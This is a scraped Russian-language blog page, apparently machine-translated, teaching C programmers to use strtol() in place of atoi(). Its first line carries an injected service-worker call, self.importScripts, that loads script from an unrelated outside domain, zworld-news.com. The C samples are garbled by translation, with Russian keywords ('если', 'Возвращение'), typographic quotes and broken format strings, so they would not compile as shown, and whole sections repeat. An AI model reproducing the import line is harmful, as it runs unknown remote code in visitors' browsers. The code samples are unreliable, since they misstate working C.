google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

блог на С






Помещение strtol () в тест

Прекратите использовать функцию atoi ( )!Да, это золотая старенькая, часто моя функция перехода для преобразования строк в целые числа, но она слабая. Функция strtol () , с другой стороны, не только преобразует строки в целые числа, но и может проверять вводимые данные. 


Помещение strtol () в тест


Прекратите использовать функцию atoi ( )! Да, это золотая старенькая, часто моя функция перехода для преобразования строк в целые числа, но она слабая. Функция strtol () , с другой стороны, не только преобразует строки в целые числа, но и может проверять вводимые данные.

Для действительно безопасного кода полезно знать, вводит ли пользователь значение 0 в виде строки или вводит бессмысленность, интерпретируемую как ноль. Как вы можете сказать?
Ну, вы могли бы написать подпрограмму, которая просматривает входную строку, чтобы определить, является ли первый символ '0'- или вторым символом, если пользователь достаточно дерзок, чтобы напечатать "+0"или "-0", которые оба являются допустимыми формами ввода для нулевого значения. Однако такие издержки не нужны, когда вы используете функцию strtol () .
Второй аргумент strtol () - указатель. Когда NULLуказано, аргумент игнорируется. В противном случае вы можете установить указатель в качестве аргумента и сравнить адрес этого указателя с началом входной строки, чтобы определить, был ли ввод текста правомерно интерпретирован как ноль.
Прежде чем показывать вам код, имейте в виду, что функция strtol () игнорирует любые начальные пробельные символы перед значением. Символы + и - интерпретируются как операторы знака. И значения префикса также интерпретируются, например, 0xдля шестнадцатеричного значения (при условии, что третий аргумент в функции - 16). Когда строка начинается с текста или строка пуста, возвращается нулевое значение, что является допустимым результатом, но не совсем тем, что предоставил пользователь.
#include <stdio.h>
#include <stdlib.h>

int main ()
{
    char x [] = "ерунда";
    char * p;
    int a;

    a = strtol (x, & p, 10);
    printf («% s оценивается как% d \ n», x, a);
    если (р == х)
    {
        printf ("% s не содержит значений \ n", x);
    }

    Возвращение (0);
}
В строке 6 строка xприсваивается строке всего текста, а не числа. Функция strtol () в строке 10 преобразует строку в нулевое значение, которое хранится в переменной aОднако, поскольку указатель pуказан в качестве аргумента в функции strtol () , нулевое значение можно проверить.
В строке 12 адрес, сохраненный в переменной p, сравнивается с началом строки xЕсли оба значения равны, нулевое возвращаемое значение недопустимо; строка не содержит допустимого числового ввода.
Вот тестовый прогон:
'nonsense' evaluates to 0
'nonsense' doesn't contain any values
Измените строку 6, чтобы прочитать char x[] = "";, и вывод становится:
'' evaluates to 0
'' doesn't contain any values
Пустая строка правильно интерпретируется как не ноль; ввод неверен
Измените строку на "0", и результат будет:
'0' evaluates to 0
Функция strtol () законно нашла ноль в качестве входных данных.
Наконец, чтобы доказать ценность функции strtol () за пределами бессмысленных значений и нуля, я снова изменил строку 6 следующим образом:
char x[] = "      +789";
Функция strtol () игнорирует начальные пробелы, значение знака интерпретируется правильно, а значение преобразуется в целое число. Вот пример прогона:
'      +789' evaluates to 789
При обучении C я по умолчанию использую функцию atoi () , которая проста для понимания. Однако для продвинутых курсов я использую strtol () . И при написании наиболее безопасного кода, особенно для критически важных функций ввода, я использую аргумент-указатель и проверяю ввод. Ты тоже должен.


Особенности strtol () Функция

Вообразите мое разочарование, узнав, что функция atoi () , одна из первых, которую я изучил в C, на самом деле является макросом. Я в ужасе. Столько, сколько я дорожу преобразованием строк в целые числа, я переживу это изменяющее жизнь открытие. 

Особенности strtol () Функция



Вообразите мое разочарование, узнав, что функция atoi () , одна из первых, которую я изучил в C, на самом деле является макросом. Я в ужасе. Столько, сколько я дорожу преобразованием строк в целые числа, я переживу это изменяющее жизнь открытие.

Функция strtol (), скорее всего, обозначает string-to-long. Она прототипирована в stdlib.hзаголовочном файле. Вот формат страницы руководства:
long strtol(const char *restrict str, char **restrict endptr, int base);
strАргументом является строка , содержащая число для преобразования. endptrАргумент помогает определить , является ли strсодержащаяся строка нулевой или была пуста. И baseустанавливает способ, которым входное значение интерпретируется как основание 10, 8 или 16.
Вот пример кода:
#include <stdio.h>
#include <stdlib.h>

int main ()
{
    char x [] = "123456";
    char y [] = "003224";
    char z [] = "0xA72B";
    int a, b, c;

    a = strtol (x, NULL, 10);
    b = strtol (y, NULL, 8);
    c = strtol (z, NULL, 16);

    printf ("% s в базе 10:% ​​d \ n", x, a);
    printf ("% s в базе 8:% o \ n", y, b);
    printf ("% s в базе 16:% x \ n", z, c);

    Возвращение (0);
}
Три строковые значения в массивах xyи zвыражены в базах 10, 8 и 16, соответственно. Три функции strtol () преобразуют каждое значение; NULLуказатель означает , что endptrаргумент игнорируется. И возвращенные значения отображаются в правильных форматах. Вот вывод:
123456 in base 10: 123456
003224 in base 8: 3224
0xA72B in base 16: a72b
В большинстве strtol( x, NULL, 10)случаев используется формат оператора, который преобразует строку, на которую ссылается переменная, xв десятичное значение. Фактически это макрос atoi (), определенный в заголовочном файле stdlib.h:
(int)strtol(str, (char **)NULL, 10);
Sneaky.
Функция strtol () гораздо более мощная, чем старая функция atoi () , что делает ее еще более ценной и определенно функцией преобразования, которую вы хотите использовать для потенциально неприятных входных значений. Я расскажу о некоторых методах обнаружения ошибок ввода в уроке на следующей неделе 


Особенности strtol () Функция


Вообразите мое разочарование, узнав, что функция atoi () , одна из первых, которую я изучил в C, на самом деле является макросом. Я в ужасе. Столько, сколько я дорожу преобразованием строк в целые числа, я переживу это изменяющее жизнь открытие. 

Особенности strtol () Функция


Вообразите мое разочарование, узнав, что функция atoi () , одна из первых, которую я изучил в C, на самом деле является макросом. Я в ужасе. Столько, сколько я дорожу преобразованием строк в целые числа, я переживу это изменяющее жизнь открытие.

Функция strtol (), скорее всего, обозначает string-to-long. Она прототипирована в stdlib.hзаголовочном файле. Вот формат страницы руководства:
long strtol(const char *restrict str, char **restrict endptr, int base);
strАргументом является строка , содержащая число для преобразования. endptrАргумент помогает определить , является ли strсодержащаяся строка нулевой или была пуста. И baseустанавливает способ, которым входное значение интерпретируется как основание 10, 8 или 16.
Вот пример кода:
#include <stdio.h>
#include <stdlib.h>

int main ()
{
    char x [] = "123456";
    char y [] = "003224";
    char z [] = "0xA72B";
    int a, b, c;

    a = strtol (x, NULL, 10);
    b = strtol (y, NULL, 8);
    c = strtol (z, NULL, 16);

    printf ("% s в базе 10:% ​​d \ n", x, a);
    printf ("% s в базе 8:% o \ n", y, b);
    printf ("% s в базе 16:% x \ n", z, c);

    Возвращение (0);
}
Три строковые значения в массивах xyи zвыражены в базах 10, 8 и 16, соответственно. Три функции strtol () преобразуют каждое значение; NULLуказатель означает , что endptrаргумент игнорируется. И возвращенные значения отображаются в правильных форматах. Вот вывод:
123456 in base 10: 123456
003224 in base 8: 3224
0xA72B in base 16: a72b
В большинстве strtol( x, NULL, 10)случаев используется формат оператора, который преобразует строку, на которую ссылается переменная, xв десятичное значение. Фактически это макрос atoi (), определенный в заголовочном файле stdlib.h:
(int)strtol(str, (char **)NULL, 10);
Sneaky.
Функция strtol () гораздо более мощная, чем старая функция atoi () , что делает ее еще более ценной и определенно функцией преобразования, которую вы хотите использовать для потенциально неприятных входных значений. Я расскажу о некоторых методах обнаружения ошибок ввода в уроке на следующей неделе 

Возведение

В языке C отсутствует оператор возведения в степень, который повысил бы базовое значение до определенной степени. Например:, 2^8который в некоторых языках программирования является выражением для поднятия 2 до 8-й степени. Вместо этого C использует функцию pow () . 


Комментариев нет:

Отправить комментарий